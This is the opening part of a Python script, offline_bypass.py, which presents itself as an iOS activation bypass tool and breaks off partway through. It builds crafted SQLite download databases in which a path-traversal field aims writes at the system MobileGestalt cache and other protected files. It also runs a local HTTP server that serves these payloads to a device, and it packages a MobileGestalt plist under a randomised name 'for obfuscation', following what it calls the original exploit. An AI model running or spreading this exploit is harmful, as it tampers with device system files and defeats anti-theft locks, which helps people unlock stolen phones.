offline_bypass.py 32 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472
  1. import sys
  2. import os
  3. import time
  4. import subprocess
  5. import re
  6. import shutil
  7. import sqlite3
  8. import atexit
  9. import socket
  10. import threading
  11. import zipfile
  12. import tempfile
  13. import binascii
  14. from http.server import SimpleHTTPRequestHandler
  15. from socketserver import TCPServer
  16. # --- CONFIGURATION & CONSTANTS ---
  17. # SQL Template 1: BLDatabaseManager Structure
  18. BL_STRUCTURE_SQL = """
  19. PRAGMA foreign_keys=OFF;
  20. BEGIN TRANSACTION;
  21. CREATE TABLE ZBLDOWNLOADPOLICYINFO ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZSTOREPLAYLISTIDENTIFIER INTEGER, ZPOLICYID VARCHAR, ZPOLICYDATA BLOB );
  22. CREATE TABLE Z_PRIMARYKEY (Z_ENT INTEGER PRIMARY KEY, Z_NAME VARCHAR, Z_SUPER INTEGER, Z_MAX INTEGER);
  23. INSERT INTO Z_PRIMARYKEY VALUES(1,'BLDownloadInfo',0,6);
  24. INSERT INTO Z_PRIMARYKEY VALUES(2,'BLDownloadPolicyInfo',0,2);
  25. CREATE TABLE Z_METADATA (Z_VERSION INTEGER PRIMARY KEY, Z_UUID VARCHAR(255), Z_PLIST BLOB);
  26. INSERT INTO Z_METADATA VALUES(1,'2D3944E4-521A-43A6-AFF5-55A3E2A63841',X'62706c6973743030d80102030405060708090b0c0d0e0f14155f101e4e5353746f72654d6f64656c56657273696f6e4964656e746966696572735b4e5353746f7265547970655f10125f4e534175746f56616375756d4c6576656c5f101f4e5353746f72654d6f64656c56657273696f6e4861736865734469676573745f101e4e5353746f72654d6f64656c56657273696f6e436865636b73756d4b65795f10194e5353746f72654d6f64656c56657273696f6e4861736865735f101d4e5350657273697374656e63654672616d65776f726b56657273696f6e5f10204e5353746f72654d6f64656c56657273696f6e48617368657356657273696f6ea10a505653514c69746551325f10586d4a52623772585a664f6e6a7541714d504739695537424d4164766672543033797a7678344878636273307a34636e4b6f357a677262715149635542764c65527a524f506c79744249307a4a5772546b4e4639314f773d3d5f102c7671527a56456f3535615a6d6d433733355a63682b734c42336a4a6c6366314b4a4c476b456c79527a79513dd2101112135f1014424c446f776e6c6f6164506f6c696379496e666f5e424c446f776e6c6f6164496e666f4f102045bb929b5dd5da6fbca53674a37213713b95aef9df0c51c7085cc1e283f02f714f1020b42f3d26a27e7248429c9d5466fc52910c9b42055169caafcc2ec5e396c86f631105a7100300080019003a0046005b007d009e00ba00da00fd00ff01000107010901640193019801af01be01e1020402070000000000000201000000000000001600000000000000000000000000000209');
  27. CREATE TABLE Z_MODELCACHE (Z_CONTENT BLOB);
  28. INSERT INTO Z_MODELCACHE VALUES(X'8d99097c14c5d2c06bba7726c99eb3d7ec1d1003724b8080800281000621047207c2b2d90cc9c26637ec6e808042738380280a722a248a170808080f790a2a8a7821873c449ec7f329f814541041f3e1d7331bb201032efcea97d9e99e7f5757575755cf9456f97de148972ec78101041814c0020709a02c4c992c86c2be60a028c513f256f8e8afdc9448b0aa3025583a41f446c20660e66f70f3baac9c07c41ab12cbda1d327900849b9a160304298adfcfba0023598a105b4860ed0113a4137b8077a415fc8877fc2ebf006ec8703f026bc056fc3417807de8543f01e1c86f7e103f8103e828fe1087c0247e1181c8713f0299c847fc129f80c4ec3e77006fe0d5fc097f0157c0dff816fe0bff02d7c0767e11c7c0fff831fe04738cf6046c1b08c92313226269969c1b464da31ed99ee4c1ad383e9cfa433039861cc70268b29628a192f53c6543201660a339599c5cc6616334b9815cc4ae6696603f302f322b383d9c9fc93799d39c4bcc71c668e31c79933ccbf99ef98b3cccfcc2fcc1f4c3d6211877488473686417674274a419d5067740fea8506a08168181a8ef251011a873c68029a8822a81acd4033d142b4082d478fa375683dda849e43dbd076b417bd86de4607d147e863f42f740a7d8dfe837e403fa2cbe837548f0123cc6115e6b10ddb71326e83dbe3ceb83b4ec3bd705f3c000fc29938178fc56e3c0e7bf0041cc611fc109e8167e10578315e821fcb4b0954fbfdc741035ad0010f7a3080114cc559398302115fc42786ddbc252b67b018f1568c1227558be148ae5859e5f744a41653564e7ed43732cb44da7fbc8ffeca4ff1fa3de1304104c8bbe4f0091028d70256b0811d1ce0041724e74ff6f829ab242c4a2e35dc5355e50b94175370a4263738510c1434b81c5192770826493c739c425ac21d14d20aee84148af08b81f24845ee44b1264c1279441447a10ded7417b4a7da776ef0cd5a680bed084b38923076c0b08ce094803fe829cb0c8c0f52ed6337b2837e9fb746ba7d143ac3ddd005528ba3d308782ac5c2e8a5182ec8ca490f853c35b5b443d7c2ac9c11f220d147ba439a9b77d03d10a04cba11c20db3ca8984a8b1ca6b52eba007f484aeb7efe4e6edb76e75f36ddd6ed948eeb03f1871472453b9bb7bbb7677f7baa7ccebf67853457769cf9edddceea82d7a43fb5ae803f71215798d247c0efda03fa4c300da32103260100c8621703f64c250780092a8a5b2e8ea67c3487a65a0fff3c664e5648782556248f2036ad4bcb0186a305d56ce704fc0532e96454d303c5826fae5db03254b6551a30d0e866417a25a9b1bdde47e4fb882f6951dc5cd5b1b1c2b3350264ecd10c3de90af2a427b51cfd25352b0b22a581d28935bc5f0980697ac91e025593939d5a562838bcabfa89a62c378548d51225d386aba985f1235798130d415f652bfdc42fe41af80fe7fe91814c8b62a8487611f5de0ce92436de553a1088a61348c8112180b6e18071e28052f948108e3a11c2ac007136022f8a1120210842a980421084304aa61324c81a95003d3603a3c080fc10c9849879a05b3610ecc8579301f16c042584434444b7484277a62204662226622100bb1121bb1130771121749262d484b72076945ee2429a4356943ee226d493bd29e74201d4927d299dc4dba9054d2957423dd491ae9417a927b482fd29bf421f792fba4692c8625b0141e8165f0283c06cbe171780256c04a781256c16a58036b611dac87a7e069d8001ba116eae019781636c173f03cbc002fc24bb019b6c0cbb015b6c176780576c04ed805afc26ed803ff80bdf01ae94b06900c32846492616404194572493e2924c5640c194bc691525246c6930a32915492209944c2a49a4c2135e441328310329bcc25f3c942f23059421e218f92e5e409b292ac226bc83af214d9406ac933641379be484e4ed99e48458918f0866a6437a13bc4cd1b7ce16141afc73fd0e3ad1073c4100d1c79e5622024ba7963a0bab2540c8d183fa08646abdca0e47c05218f77485e66465138e20945727d95621ebd8a8885e1ea52ea3c7e717430e42bf7053cfebc51c3684e0b47822131e64425e37d7e71d0d4881890bc39a73a449d5eeff17aa99f4662bd0a2be848b93555622175ca4abf2f3091fa6495b403c2f4c9261d8b7ce151a23c4461d817189fe18978e898be70b1af8aee79d153e929f58b632bcbd224d5e91dead0e1d154ef29c1d044c91874f048059d64c0e3f36756d2ed282bcd7bfdbe1b86a1ddbc9e8057f45f0f77b45b6ed8e38f501bf9c2e9d59160a527e2f35e6f1d5dd670410d3cd6eb173d81eaaa6c31502685e8eb4d9919342f8ca75bcc5f937ef3f4c78a55d5a5a37ce5159170544903fd4de3ab475ab48640905f56158d241679fad97e4f8db4c23148319d26bd216d761a4068000c843ddec80d99866a4f834d24475abf81159e40b928ada79bb7856537c8faebeae74ef405ca72c3be6962b12f9c5d4d538f272c1649a13d12d5d4e40dfafda23c4e7ae3f825a5d535d99e10bd8a50e5e902c53ae54a2e33a6aa8144d74fcc93bda8d017cef1d034299ea691e502fc043fc32f70112ec1af70197ea311f70a5c85dfe10fa8a7e1d9007f828161e0cf51ee6caa3dcd3111bad4a5d511315fca928d11552eb11adb24ffa23131333c42de0c1e7fe1f50039362b27431cefa9f647e4e7c73646f19a2845a0e1586ac8958c3a3e18aaa4b6a20d34c00ff67bcac374d5493a7f91f4d7a37d49347300e947e82c48bfd826a44345bd514e7d0cc724c8d446dd9ac4f23a26914992b2de2ddae5ec705dbf26f7e3321cc34b866378924efa47551d28c98d31e2362446602c0d24874c7250d2603d6e19850d92a4d910430d1075aff8d46c23c3dbc4d4bc5f92689cbabd7a9d2402d385499509a9b27a4c4709f200194a21439b0f733cdc0e7b0fd3ab41b1fb64ec7d149ba5570c8bea365c92eb71329f667dfae776b40c6650032d53a66552da483d9e1ba5654b128bb69427ed92cfe9d31729ed125c664650f64f94fb2be55da0dba00fd389e94237453d5c6104a8670a9802b83a5af2f4682550264f1e92245b24911c92138de0f1adc43859c571b195c893a431fac70799204326c420059234cd1cf12d6a44e644a2139126554439457fcd3af1693543a6cd8869355a921b33567ca4853269618c54228994ede29bd772f9f9e5b179b9e9f3eee632657cfaac9379eb62fa782469ccb2f14136c9904d31885792c60c1ddfccb6c9906db199891422de22bbc71778f6cac8bdd79140ca25895506b7a3ec670e34500eca94839432418fcf46413e491a0b8be8cef3c4a7d411197724a6945f92bfd626f199fe3399f659ccf401496eaa6be2437d23a3be89a1aa24695a13c5c7392f73cec73821499aaba7e2e35d91795762bc8824cdd46271e110927008c570932569ae8e8b8fa79679ea186faa24720d188743203312648070dd21a693691430adf9fa313e955acac49631951e92a469ed199f66ed654efb9866332967e64d75eb6df30d55c910cd3754bd7ad403f580abb246728ea1dacd22b39a14be71450ad44f56ab5f2c52cca1c039b72e9ae3339a9c615166cc68f324b9a9e08e4fc11c199513537001452d68b6588f2b04a11219582285a0a86e8b246928f4e3d08922ca6544792cec2c96e4d68784f88c3649a64e8a196da9244d0e18f161a6cb98e931cc32496e7538b9dd841b2b26344f66ce932aa628f331499a3fd8c467c265327159cc848f4b72bb43517cb35f2d7357c766bf4212f940158762d4dfea64405dccdf9ea48027e5c3581c1b9d6ab045066c89cd6cb5244d0e72f14d64b78cd91d9bc85a496287c0f8280764ca811865bd24b73840c6877c5f46be1f433e2dc98d87cff8482764d2891869a3247f3db8c6e7a35fc8b42f623e5a27c90d87def8d43a2783cec5d47a5692bcbf2bbc9bb8c045997031e602cf49d278d8964fa3e80aba4a375056cef0ea8854a264f8e4097b423575e877f48774146dae911ea5633f1ade09a2ff43d7d09f1b369017a3e43f30532b118e028f315660b6282ba773582e5fc8e69b5e2fcb4fe0049c289fda1b868b963a7538092b253d6e6e6872aca6a36335d6d5620dd69297c94eb2e704d663033652ebf0d804062c401f6c958e45d2a1287ab0b7d093b414d53c7ef96676482c930279f4c5817c6b905faca4112a4cb652c36da326dc416b8ad29a46c533e45ed1e11dd07e237692ed24e1045d9c5f710bdc12df815ba11e4c1ad6407decbb4053b2548fdfd4d2e4504fd54d0f7ba32999bc42f3eacb49513bdd85dbbaf9e466784d1eaec5ed24a3fd4daf28af03ee786b2d6a71270974abe6a686be9b1a3a553234d9450df6aa64b031a53572606e62a91e92a57a92dd37598a9e5cd3b016eae94c73c8ce8699f6c3fdc7362ebbfc31a10ea74b9f136eba1b250fc4ba0d644ff4c9c17888ecbad1973c37cce7fe06affe4bd36730986a3400fac3101808fde8864a87fba19dfca2ff01a9eac1d9782424818170f27bf11788f44e7c1f394818020dbb00e7e122d85787f371012e24ff24af9337ea70311e8dc790fde400798b3c7f9bb77855f28715e9e05118bd8ca77ebaf7e652e035d2500afc7d25429fc555d2b3b82a5a8948cfbe2949135dfe3e5e49986932665a345e4998b725699cc7f52840c8e6db7d4bc2b3f11cf9ed57e3579d589c497d16cfc5f3f0fc6858ba451ff90d59330dcdc7b1a8df2cc40f6fc48bc821f25e765489a5f89131b1682346eaf032fc2874bde15e1e0d3f62f46b165e8e1fbfc5579e5afc84a46cb36d90287f9feb08a9d09b7adb48c887d150c25c66ea91065951579489b2d128948bf25121aa4411341b2d452bd09368355a8bd6a3a7d136b41bed43afa3fde84df43efa149d4667d017e82bf4138da43422e114dc11a7e2de745f7870059e8febf047f824fe1cff1b7f89bf5618152d151d140314458a498a258a0d8a2d8ad714ef29be547cadf846f1ade2ace27bc50f8af38a9f14bf282e292e2baeb02cab61436c849dcc4e65a7b10fb23358c2ce66e7b2f3d985ecc3ec12f611f6517639fb04bb925dc5ae61d7b14fb11bd85af6197613fb3cfb22bb997d99ddc6bec2ee645f65f7b07bd97decebec7ef64df66df61df6107b98fd80fd883dc21e658f73bdb83edc7d5c3f2e9d1bc80de2867099dc03dc706e043792cbe1f2b802ae881bcd95706ecec37939912be77cdc44ae920b7293b83057cd4de16ab8e9dc43dc4c6e1637879bc72de016718bb9a5dc32ee31ee716e05f724b79a5bcbade79ee3767187b923dcb7dc79ee0a772d2121c198d03aa15b42cf84071272134a12220933121624ac4e783e6167c2a184d30917122e252a1385c4d6895d12872616250612ab139725ae497c25f150e23789e712cf275e4dc249f6a4b649bd9386240d4fca4f9a93343fa9366967d281a4c349a792ce2a19a55aa955f24a83d2ac149456a55de954262b5b2a5b293b2ad3947d9505cab1ca29ca65ca7dcad795fb9507946f290f2adf55bea77c5f794ac5a912554a9546a555f12a83caa41254565527550f955725aaca5515aa092abf2aa0aa5285545355cfaa9e53bda0daacdaa2daaadaaedaa1daa5daadfa50f5b1aa5e754d0d6aac56a83975a25aa956abb56a41ed520f550f5367a947aa47a973d5f9ea4275b17a8c7abcba52fd94fa45f566f5cbea6deaedea1dea5dea57d57bd47bd5fbd53faa2fa87f56ffa2bea4beacbea2fe5d5daf61355d35dd353d343d35bd347d34f769fa69d235c335d3340f6a6668666a6669e668e66916681669d66a0e690e6b3ed07ca8f958f389e698e684e6a4e6bf5a83d6a415b416ad4debd0bab42db477685b6b476973b5f9da026d9176b4b644ebd67ab4d5da5aed33da4ddae7b42f685fd26ed16ed56ed7eed57ea73da7fd9ff607ed79ed4fda5fb497b497b57fea3aea3aebbae85275dd7469ba9eba5eba3eba51ba99ba59ba39bab9baf9ba85ba87754b748fe856e90eeaded5bda7fb40f7a1ee63dd27ba63ba13ba93ba2f75dff1265ee0adbc8d77f02ebe057f077f279fc697f265fc78be9cf7f113f94a3ec84fe209bf85dfca6fe75fe177f2aff27bf8bdfc3efe10ff2bff1b7f95ff9dafe7afe9418ff40abd553f483f449fa91faa1fa6cfd267eb47e973f5e5fa27f42bf5abf4abf56bf5ebf54feb37eaebf4bbf5dfe8bfd59fd59fd3ff4fffa3fe82fe67fd45fd15436bc35d867686f6868e86ce862e86ae86ee86a18629861ac374c38386190662986d986b986f586e78c370c0f096e16dc33b864386c3860f0c1f19ce18b546de68309a8c66a3c56833da8d4e63b2b19d31df58682c368e369618dd468fd16b148d338d9b8d2f1bb719b71b77187719771bff617ccd78d8f89bf1aaf10f63bdf19a094cc8a430712687e97ed350d330d370d308d348538e29cf54601a6b5a6c5a6a5a667ad4b4dcf48469a56995698d69a7e92bd37f4cff357d6b3a6bfadef483e9bce927d31fe6b6e6f6e68ee64ee6bbcda9e66ee634734ff308f383e61966629e659e639e675e605e645e6cde68fec87cc47cd47ccc7cc27cd27cca7cda7cc67c556823b415da0b1d844ec2dd42aad04d48137a0be5824f9828f8858050258484883059982e3c2fbc286c16b6085b85edc20e6197b05b7853b820fc2c5c142e0997852bc2ef42bd70cd926849b3f4b4f4b2f4b6dc6be96be96f1960c9b08cb62cb43c6c5962596a596679ccf2b86585e549cbb396a396e3964f2d272da72ca72d672c5f58beb25cb4b6b4b6b2a6585b5befb2b6b376b076b2de6dbdd7eab34eb4565a03d62a6bc81ab14eb64eb5ceb0be64dd62dd6add667dc5bad3faaa758f75aff52deb07d6afade7ac7fdad4369bcd6e73d85cb636b60eb6eeb6beb6feb611b642db04db24db1cdb12db0adb1adb3adb53b60db65db603b6d3b61f6d176c3fdb2eda7eb5fd6657d94d768bdd6677d8bbd887dacbec55f6903d629f6c9f6227f68df64df677ed47ecdfdb2f38921cc98e968e568e14471b475b479aa3af23dd31d031c851ec18e318eb18e7f03826386a1cc4b1ccb1cab1dab1d6f18c63afe30dc709c73527389153e1e49c894ea553edd43a79a7c1d9c2d9c6d9d6d9ded9d1d9cd99e6ece9ece5ece3cc738e73fa9c2b9dab9c6b9c6b9deb9d4f3b373aeb9ccf3a8f3a8f3b3f759e749e729e769e717ee1fccaf983cbe672b85cae64574b572b578aab8dabad2bd5d5db75af2bc735c655ed22aed5aeedae775d475cc75c275c275dff727de53aeffa3519252726eb93db267702f91f42d1bf7805dcf02f39e3ff01');
  29. CREATE TABLE IF NOT EXISTS "ZBLDOWNLOADINFO" (
  30. "Z_PK" INTEGER,
  31. "Z_ENT" INTEGER,
  32. "Z_OPT" INTEGER,
  33. "ZACCOUNTIDENTIFIER" INTEGER,
  34. "ZCLEANUPPENDING" INTEGER,
  35. "ZFAMILYACCOUNTIDENTIFIER" INTEGER,
  36. "ZISAUTOMATICDOWNLOAD" INTEGER,
  37. "ZISLOCALCACHESERVER" INTEGER,
  38. "ZISPURCHASE" INTEGER,
  39. "ZISRESTORE" INTEGER,
  40. "ZISSAMPLE" INTEGER,
  41. "ZISZIPSTREAMABLE" INTEGER,
  42. "ZNUMBEROFBYTESTOHASH" INTEGER,
  43. "ZPERSISTENTIDENTIFIER" INTEGER,
  44. "ZPUBLICATIONVERSION" INTEGER,
  45. "ZSERVERNUMBEROFBYTESTOHASH" INTEGER,
  46. "ZSIZE" INTEGER,
  47. "ZSTATE" INTEGER,
  48. "ZSTOREIDENTIFIER" INTEGER,
  49. "ZSTOREPLAYLISTIDENTIFIER" INTEGER,
  50. "ZLASTSTATECHANGETIME" TIMESTAMP,
  51. "ZPURCHASEDATE" TIMESTAMP,
  52. "ZSTARTTIME" TIMESTAMP,
  53. "ZARTISTNAME" VARCHAR,
  54. "ZARTWORKPATH" VARCHAR,
  55. "ZASSETPATH" VARCHAR,
  56. "ZBUYPARAMETERS" VARCHAR,
  57. "ZCANCELDOWNLOADURL" VARCHAR,
  58. "ZCLIENTIDENTIFIER" VARCHAR,
  59. "ZCOLLECTIONARTISTNAME" VARCHAR,
  60. "ZCOLLECTIONTITLE" VARCHAR,
  61. "ZDOWNLOADID" VARCHAR,
  62. "ZDOWNLOADKEY" VARCHAR,
  63. "ZENCRYPTIONKEY" VARCHAR,
  64. "ZEPUBRIGHTSPATH" VARCHAR,
  65. "ZFILEEXTENSION" VARCHAR,
  66. "ZGENRE" VARCHAR,
  67. "ZHASHTYPE" VARCHAR,
  68. "ZKIND" VARCHAR,
  69. "ZMD5HASHSTRINGS" VARCHAR,
  70. "ZORIGINALURL" VARCHAR,
  71. "ZPERMLINK" VARCHAR,
  72. "ZPLISTPATH" VARCHAR,
  73. "ZSALT" VARCHAR,
  74. "ZSUBTITLE" VARCHAR,
  75. "ZTHUMBNAILIMAGEURL" VARCHAR,
  76. "ZTITLE" VARCHAR,
  77. "ZTRANSACTIONIDENTIFIER" VARCHAR,
  78. "ZURL" VARCHAR,
  79. "ZRACGUID" BLOB,
  80. "ZDPINFO" BLOB,
  81. "ZSINFDATA" BLOB,
  82. "ZFILEATTRIBUTES" BLOB,
  83. PRIMARY KEY("Z_PK")
  84. );
  85. INSERT INTO ZBLDOWNLOADINFO VALUES(1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL,0,0,0,NULL,0,2,765107108,NULL,767991550.1191970109,NULL,767991353.2452750206,NULL,NULL,'/private/var/mobile/Media/Books/asset.epub','productType=PUB&price=0&salableAdamId=765107106&pricingParameters=PLUS&pg=default&mtApp=com.apple.iBooks&mtEventTime=1746298553233&mtOsVersion=18.4.1&mtPageId=SearchIncrementalTopResults&mtPageType=Search&mtPageContext=search&mtTopic=xp_amp_bookstore&mtRequestId=35276ff6-5c8b-4136-894e-b6d8fc7677b3','https://p19-buy.itunes.apple.com/WebObjects/MZFastFinance.woa/wa/songDownloadDone?download-id=J19N_PUB_190099164604738&cancel=1','4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna','../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library',NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL,'/private/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist',NULL,'Cartas de Amor a la Luna',unistr('https://is1-ssl.mzstatic.com/image/thumb/Publication126/v4/3d/b6/0a/3db60a65-b1a5-51c3-b306-c58870663fd3/Portada.jpg/200x200bb.jpg\u000a'),'Cartas de Amor a la Luna','J19N_PUB_190099164604738','KEYOOOOOO',NULL,NULL,NULL,X'62706c6973743030d80102030405060708090b0c0d0e0f14155f101e4e5353746f72654d6f64656c56657273696f6e4964656e746966696572735b4e5353746f7265547970655f10125f4e534175746f56616375756d4c6576656c5f101f4e5353746f72654d6f64656c56657273696f6e4861736865734469676573745f101e4e5353746f72654d6f64656c56657273696f6e436865636b73756d4b65795f10194e5353746f72654d6f64656c56657273696f6e4861736865735f101d4e5350657273697374656e63654672616d65776f726b56657273696f6e5f10204e5353746f72654d6f64656c56657273696f6e48617368657356657273696f6ea10a505653514c69746551325f10586d4a52623772585a664f6e6a7541714d504739695537424d4164766672543033797a7678344878636273307a34636e4b6f357a677262715149635542764c65527a524f506c79744249307a4a5772546b4e4639314f773d3d5f102c7671527a56456f3535615a6d6d433733355a63682b734c42336a4a6c6366314b4a4c476b456c79527a79513dd2101112135f1014424c446f776e6c6f6164506f6c696379496e666f5e424c446f776e6c6f6164496e666f4f102045bb929b5dd5da6fbca53674a37213713b95aef9df0c51c7085cc1e283f02f714f1020b42f3d26a27e7248429c9d5466fc52910c9b42055169caafcc2ec5e396c86f631105a7100300080019003a0046005b007d009e00ba00da00fd00ff01000107010901640193019801af01be01e1020402070000000000000201000000000000001600000000000000000000000000000209');
  86. CREATE INDEX Z_BLDownloadInfo_byDownloadIDIndex ON ZBLDOWNLOADINFO (ZDOWNLOADID COLLATE BINARY ASC);
  87. CREATE INDEX Z_BLDownloadInfo_byStateIndex ON ZBLDOWNLOADINFO (ZSTATE COLLATE BINARY ASC);
  88. COMMIT;
  89. """
  90. # SQL Template 2: Downloads Structure (with placeholders)
  91. DOWNLOADS_STRUCTURE_SQL = """
  92. PRAGMA foreign_keys=OFF;
  93. BEGIN TRANSACTION;
  94. CREATE TABLE asset (
  95. pid INTEGER,
  96. download_id INTEGER,
  97. asset_order INTEGER DEFAULT 0,
  98. asset_type TEXT,
  99. bytes_total INTEGER,
  100. url TEXT,
  101. local_path TEXT,
  102. destination_url TEXT,
  103. path_extension TEXT,
  104. retry_count INTEGER,
  105. http_method TEXT,
  106. initial_odr_size INTEGER,
  107. is_discretionary INTEGER DEFAULT 0,
  108. is_downloaded INTEGER DEFAULT 0,
  109. is_drm_free INTEGER DEFAULT 0,
  110. is_external INTEGER DEFAULT 0,
  111. is_hls INTEGER DEFAULT 0,
  112. is_local_cache_server INTEGER DEFAULT 0,
  113. is_zip_streamable INTEGER DEFAULT 0,
  114. processing_types INTEGER DEFAULT 0,
  115. video_dimensions TEXT,
  116. timeout_interval REAL,
  117. store_flavor TEXT,
  118. download_token INTEGER DEFAULT 0,
  119. blocked_reason INTEGER DEFAULT 0,
  120. avfoundation_blocked INTEGER DEFAULT 0,
  121. service_type INTEGER DEFAULT 0,
  122. protection_type INTEGER DEFAULT 0,
  123. store_download_key TEXT,
  124. etag TEXT,
  125. bytes_to_hash INTEGER,
  126. hash_type INTEGER DEFAULT 0,
  127. server_guid TEXT,
  128. file_protection TEXT,
  129. variant_id TEXT,
  130. hash_array BLOB,
  131. http_headers BLOB,
  132. request_parameters BLOB,
  133. body_data BLOB,
  134. body_data_file_path TEXT,
  135. sinfs_data BLOB,
  136. dpinfo_data BLOB,
  137. uncompressed_size INTEGER DEFAULT 0,
  138. url_session_task_id INTEGER DEFAULT -1,
  139. PRIMARY KEY (pid)
  140. );
  141. INSERT INTO asset VALUES(1,1,0,'media','https://google.com',NULL,'/private/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist','plist',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
  142. INSERT INTO asset VALUES(2,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite-wal','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
  143. INSERT INTO asset VALUES(3,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite-shm','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
  144. INSERT INTO asset VALUES(4,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
  145. COMMIT;
  146. """
  147. # --- CLASSES ---
  148. class Style:
  149. RESET = '\033[0m'
  150. BOLD = '\033[1m'
  151. DIM = '\033[2m'
  152. RED = '\033[0;31m'
  153. GREEN = '\033[0;32m'
  154. YELLOW = '\033[1;33m'
  155. BLUE = '\033[0;34m'
  156. MAGENTA = '\033[0;35m'
  157. CYAN = '\033[0;36m'
  158. class LocalServer:
  159. """
  160. Embedded HTTP server to serve the generated payloads to the device
  161. over the local network (Wi-Fi).
  162. """
  163. def __init__(self, port=8080):
  164. self.port = port
  165. self.serve_dir = tempfile.mkdtemp(prefix="ios_activation_")
  166. self.local_ip = self.get_local_ip()
  167. self.thread = None
  168. self.httpd = None
  169. def get_local_ip(self):
  170. """Attempts to find the LAN IP address."""
  171. try:
  172. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  173. # Connect to a public DNS server to determine outgoing interface IP
  174. s.connect(("8.8.8.8", 80))
  175. ip = s.getsockname()[0]
  176. s.close()
  177. return ip
  178. except:
  179. return "127.0.0.1"
  180. def start(self):
  181. """Starts the HTTP server in a background thread."""
  182. os.chdir(self.serve_dir)
  183. handler = SimpleHTTPRequestHandler
  184. self.httpd = TCPServer(("", self.port), handler)
  185. self.thread = threading.Thread(target=self.httpd.serve_forever)
  186. self.thread.daemon = True
  187. self.thread.start()
  188. print(f"{Style.DIM} ╰─▶ Local Server running at http://{self.local_ip}:{self.port} (Root: {self.serve_dir}){Style.RESET}")
  189. def stop(self):
  190. if self.httpd:
  191. self.httpd.shutdown()
  192. self.httpd.server_close()
  193. if os.path.exists(self.serve_dir):
  194. shutil.rmtree(self.serve_dir)
  195. def get_file_url(self, filename):
  196. return f"http://{self.local_ip}:{self.port}/{filename}"
  197. class PayloadGenerator:
  198. """
  199. Generates the specialized SQLite databases required for the bypass.
  200. Originally logic from the PHP backend, now ported to Python.
  201. """
  202. def __init__(self, server_root, asset_root):
  203. self.server_root = server_root
  204. self.asset_root = asset_root
  205. def _create_db_from_sql(self, sql_content, output_path):
  206. try:
  207. # Handle 'unistr' format (Oracle to SQLite conversion for python)
  208. # Regex: find unistr('...') and convert \uXXXX to chars
  209. def unistr_sub(match):
  210. content = match.group(1)
  211. # Convert \uXXXX to actual unicode characters
  212. # Note: The SQL dump has \\XXXX format, so we look for 4 hex digits
  213. decoded = re.sub(r'\\([0-9A-Fa-f]{4})',
  214. lambda m: binascii.unhexlify(m.group(1)).decode('utf-16-be'),
  215. content)
  216. return f"'{decoded}'"
  217. sql_content = re.sub(r"unistr\s*\(\s*'([^']*)'\s*\)", unistr_sub, sql_content, flags=re.IGNORECASE)
  218. # Just in case unistr remains (simple cleanup)
  219. sql_content = re.sub(r"unistr\s*\(\s*('[^']*')\s*\)", r"\1", sql_content, flags=re.IGNORECASE)
  220. if os.path.exists(output_path): os.remove(output_path)
  221. conn = sqlite3.connect(output_path)
  222. cursor = conn.cursor()
  223. cursor.executescript(sql_content)
  224. conn.commit()
  225. conn.close()
  226. return True
  227. except Exception as e:
  228. print(f"{Style.RED}DB Gen Error: {e}{Style.RESET}")
  229. return False
  230. def generate(self, prd, guid, sn, local_server):
  231. # Normalize Product ID
  232. prd_safe = prd.replace(',', '-')
  233. # 1. Locate MobileGestalt
  234. plist_path = os.path.join(self.asset_root, "Maker", prd_safe, "com.apple.MobileGestalt.plist")
  235. if not os.path.exists(plist_path):
  236. print(f"{Style.RED}[✗] Asset missing: {plist_path}{Style.RESET}")
  237. return None
  238. # 2. Create 'fixedfile' (Zipped Plist)
  239. # Generate random token for obfuscation
  240. token1 = binascii.hexlify(os.urandom(8)).decode()
  241. zip_name = f"payload_{token1}.zip"
  242. zip_path = os.path.join(self.server_root, zip_name)
  243. with zipfile.ZipFile(zip_path, 'w') as zf:
  244. zf.write(plist_path, "Caches/com.apple.MobileGestalt.plist")
  245. # Rename to extensionless file as per original exploit
  246. fixedfile_name = f"fixedfile_{token1}"
  247. fixedfile_path = os.path.join(self.server_root, fixedfile_name)
  248. os.rename(zip_path, fixedfile_path)
